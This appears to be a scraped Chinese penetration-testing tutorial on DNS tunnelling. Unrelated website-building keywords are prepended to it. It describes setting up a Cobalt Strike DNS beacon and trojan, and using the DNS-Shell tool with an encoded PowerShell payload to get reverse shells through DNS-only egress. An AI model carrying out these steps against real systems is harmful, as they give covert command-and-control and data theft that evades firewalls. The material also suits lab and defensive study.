苏州网站的建设,wordpress js加载慢,非盈利性备案网站 淘宝客网站,wordpress首页链接新标签打开只有DNS协议出网场景
DNS 协议是一种请求、应答协议#xff0c;也是一种可用于应用层的隧道技术。DNS 隧道的工作原理很简单#xff0c;在进行 DNS 查询时#xff0c;如果查询的域名不在 DNS 服务器本机缓存中#xff0c;就会访问互联网进行查询#xff0c;然后返回结果。…只有DNS协议出网场景
DNS 协议是一种请求、应答协议也是一种可用于应用层的隧道技术。DNS 隧道的工作原理很简单在进行 DNS 查询时如果查询的域名不在 DNS 服务器本机缓存中就会访问互联网进行查询然后返回结果。如果在互联网上有一台定制的服务器那么依靠 DNS 协议即可进行数据包的交互。 DNS隧道是一种网络通信技术它利用域名系统DNS协议来传输非DNS数据。这种技术允许将其他类型的数据如HTTP请求或其他网络协议的数据封装在DNS请求和响应中从而绕过防火墙或其他网络过滤机制因为大多数网络都允许不受限制的DNS流量。通过这种方式攻击者可以建立隐蔽通道来进行数据窃取、命令控制或渗透测试等活动而不易被检测到。
CS开启监听DNS Beacon
创建监听器 生成木马 注意这里生成木马类型得是 Windows Executable(S) 这里勾不勾选 x64 取决于目标主机的架构 只要木马在目标主机执行成功我们的 CobaltStrike 就能接收到反弹的 shell。但 是默认情况下主机信息是黑色的。我们需要执行以下命令让目标主机信息显示出来
checkin
mode dns-txt在beacon执行以上命令。
利用DNS进行命令控制
DNS-Shell 是一款通过 DNS 信道实现交互式 Shell 的强大工具该工具的服务器端基于 Python 开发可以任何一种安装了 Python 环境的操作系统平台上运行工具所使用的 Payload 均已 PowerShell 命令进行编码保证了在不同平台间运行的稳定性和兼容性。
下载DNS-Shell
git clone https://github.com/sensepost/DNS-Shell.gitDNS-Shell直接模式
python2 DNS-shell.py -l -d 192.168.5.138 #边缘服务器ip发现dnslib库没安装。使用pip2 install dnslib又找不到包。 直接下载源码
git clone https://github.com/paulc/dnslib.git发现拒绝连接应该是没代理(kali上) 代理教程kali网络代理设置-CSDN博客 接收成功。
cd dnslib
python2 setup.py install完成之后回到DNS-Shell的目录下。
生成一段payload将这段payload复制下来。在目标机cmd窗口执行
powershell.exe -e 生成的payload可以看到我们已经成功接收到反弹回来的 shell 了。